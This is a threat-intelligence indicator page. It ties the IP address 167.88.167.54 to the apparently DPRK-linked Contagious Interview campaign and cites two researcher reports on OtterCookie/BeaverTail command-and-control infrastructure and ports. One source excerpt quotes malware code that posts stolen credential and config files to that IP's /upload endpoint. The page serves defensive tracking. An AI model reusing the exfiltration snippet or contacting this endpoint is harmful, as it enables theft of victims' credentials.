167.88.167.54

167.88.167.54 is an IP address that 2 published sources report in connection with Contagious Interview activity, which public reporting attributes to North Korea (DPRK). It is cited here from Seongsu Park (@unpacker) and veryserious.systems. The earliest of those reports is dated 2026-06-13 and the most recent 2026-08-11.

ip address Contagious Interview MATCHED IN SOURCE

First seen 2026-06-13 · last seen 2026-08-11

Network

Kinddata centre
NetworkRouterHosting LLC
Announced byAS14956 RouterHosting LLC
CountryUnited States
Flagshosting range

Looked up 2026-09-21 at ip-api.com. A hosting range is not evidence on its own.

Sources

  • The researcher notes that the current OtterCookie variant uses port 8086 for primary file exfiltration, 8085 for secondary exfiltration and 8087 for its Socket.IO C2, clipboard and log channel, and publishes a Censys query matching all three ports with an Express server on RouterHosting LLC's network. These are the hosts the query returned, which the researcher describes as C2 infrastructure that appears to be still active or recently configured: matches of a fingerprint, not samples observed calling them.
    x.com/unpacker/status/2087145269020561711 — Seongsu Park (@unpacker) · under “OtterCookie C2 found by a three-port Censys query” · published 2026-08-11 · pulled 2026-08-30
  • …files are excluded via a separate extension list to keep bandwidth focused on text-based credentials and config. Matching files go to 167.88.167.54:8086/upload : await axios.post(`http://167.88.167.54:8086/upload`, form, { headers: { ...form.getHeaders(), userkey: victimKey,…
    Breaking down North Korea's continuation of BeaverTail — veryserious.systems · under “Breaking down North Korea's continuation of the BeaverTail campaign” · published 2026-06-13 · pulled 2026-09-09

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Cited by the same report: x.com/unpacker/status/2087145269020561711

Seongsu Park (@unpacker) lists 6 other indicators in this source.

Cited by the same report: Breaking down North Korea's continuation of BeaverTail

veryserious.systems lists 12 other indicators in this source. 6 are shown, chosen across types.

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